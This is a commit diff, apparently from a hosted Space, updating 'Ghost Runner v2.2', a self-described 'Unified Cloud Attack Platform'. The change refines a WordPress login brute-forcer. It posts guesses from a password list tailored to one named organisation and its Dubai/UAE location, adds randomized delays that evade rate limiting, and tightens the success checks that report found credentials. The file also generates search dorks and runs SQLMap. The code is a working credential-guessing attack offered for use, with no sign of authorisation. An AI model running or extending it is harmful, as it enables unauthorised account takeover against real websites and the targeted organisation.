Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -155,9 +155,10 @@ def auto_hunt(domain):
|
|
| 155 |
else:
|
| 156 |
yield "\nπ HUNT COMPLETE!"
|
| 157 |
|
| 158 |
-
# --- Brute Force Logic (
|
|
|
|
| 159 |
PASSWORDS = [
|
| 160 |
-
"
|
| 161 |
"admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
|
| 162 |
"dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
|
| 163 |
"hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
|
|
@@ -183,7 +184,7 @@ def brute_force(url, username, custom_list):
|
|
| 183 |
|
| 184 |
for pwd in pass_list:
|
| 185 |
try:
|
| 186 |
-
time.sleep(random.uniform(0.5, 1.5))
|
| 187 |
data = {
|
| 188 |
"log": username, "pwd": pwd, "wp-submit": "Log In",
|
| 189 |
"redirect_to": f"{url}/wp-admin/", "testcookie": "1"
|
|
@@ -192,18 +193,25 @@ def brute_force(url, username, custom_list):
|
|
| 192 |
|
| 193 |
r = session.post(url, data=data, timeout=5, allow_redirects=True)
|
| 194 |
|
| 195 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 196 |
yield "β
SUCCESS! π\n"
|
| 197 |
yield f"π CREDENTIALS FOUND: {username}:{pwd}\n"
|
| 198 |
return
|
| 199 |
elif "incorrect_password" in r.text or "lost your password" in r.text:
|
| 200 |
yield "β Failed.\n"
|
| 201 |
-
elif "wp-admin" in r.url:
|
| 202 |
-
yield "β
SUCCESS (Redirect)! π\n"
|
| 203 |
-
yield f"π CREDENTIALS FOUND: {username}:{pwd}\n"
|
| 204 |
-
return
|
| 205 |
else:
|
| 206 |
-
yield "β Failed.\n"
|
| 207 |
|
| 208 |
except Exception as e:
|
| 209 |
yield f"β οΈ Error: {str(e)}\n"
|
|
@@ -237,7 +245,7 @@ def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_err
|
|
| 237 |
return "\n".join(dorks)
|
| 238 |
|
| 239 |
with gr.Blocks() as demo:
|
| 240 |
-
gr.Markdown("# π GHOST RUNNER v2.
|
| 241 |
gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
|
| 242 |
|
| 243 |
with gr.Tabs():
|
|
@@ -319,7 +327,7 @@ with gr.Blocks() as demo:
|
|
| 319 |
btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
|
| 320 |
|
| 321 |
if __name__ == "__main__":
|
| 322 |
-
print("β¨ Ghost Runner v2.
|
| 323 |
demo.queue().launch(
|
| 324 |
server_name="0.0.0.0",
|
| 325 |
server_port=7860,
|
|
|
|
| 155 |
else:
|
| 156 |
yield "\nπ HUNT COMPLETE!"
|
| 157 |
|
| 158 |
+
# --- Brute Force Logic (Fixed v2.2) ---
|
| 159 |
+
# Removed 'admin' from default list to avoid stopping early on false positives
|
| 160 |
PASSWORDS = [
|
| 161 |
+
"password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
|
| 162 |
"admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
|
| 163 |
"dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
|
| 164 |
"hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
|
|
|
|
| 184 |
|
| 185 |
for pwd in pass_list:
|
| 186 |
try:
|
| 187 |
+
time.sleep(random.uniform(0.5, 1.5))
|
| 188 |
data = {
|
| 189 |
"log": username, "pwd": pwd, "wp-submit": "Log In",
|
| 190 |
"redirect_to": f"{url}/wp-admin/", "testcookie": "1"
|
|
|
|
| 193 |
|
| 194 |
r = session.post(url, data=data, timeout=5, allow_redirects=True)
|
| 195 |
|
| 196 |
+
# STRICT CHECK v2.2
|
| 197 |
+
# 1. Login Cookie Check is best
|
| 198 |
+
cookies = session.cookies.get_dict()
|
| 199 |
+
logged_in_cookie = any('wordpress_logged_in' in c for c in cookies)
|
| 200 |
+
|
| 201 |
+
# 2. Strict Content Check
|
| 202 |
+
success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"])
|
| 203 |
+
|
| 204 |
+
# 3. Strict URL Check (Must NOT contain wp-login.php)
|
| 205 |
+
is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url
|
| 206 |
+
|
| 207 |
+
if logged_in_cookie or success_content or is_redirected_to_admin:
|
| 208 |
yield "β
SUCCESS! π\n"
|
| 209 |
yield f"π CREDENTIALS FOUND: {username}:{pwd}\n"
|
| 210 |
return
|
| 211 |
elif "incorrect_password" in r.text or "lost your password" in r.text:
|
| 212 |
yield "β Failed.\n"
|
|
|
|
|
|
|
|
|
|
|
|
|
| 213 |
else:
|
| 214 |
+
yield "β Failed (Generic).\n"
|
| 215 |
|
| 216 |
except Exception as e:
|
| 217 |
yield f"β οΈ Error: {str(e)}\n"
|
|
|
|
| 245 |
return "\n".join(dorks)
|
| 246 |
|
| 247 |
with gr.Blocks() as demo:
|
| 248 |
+
gr.Markdown("# π GHOST RUNNER v2.2 (STRICT) π»")
|
| 249 |
gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
|
| 250 |
|
| 251 |
with gr.Tabs():
|
|
|
|
| 327 |
btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
|
| 328 |
|
| 329 |
if __name__ == "__main__":
|
| 330 |
+
print("β¨ Ghost Runner v2.2 (Strict) Command Center Live.")
|
| 331 |
demo.queue().launch(
|
| 332 |
server_name="0.0.0.0",
|
| 333 |
server_port=7860,
|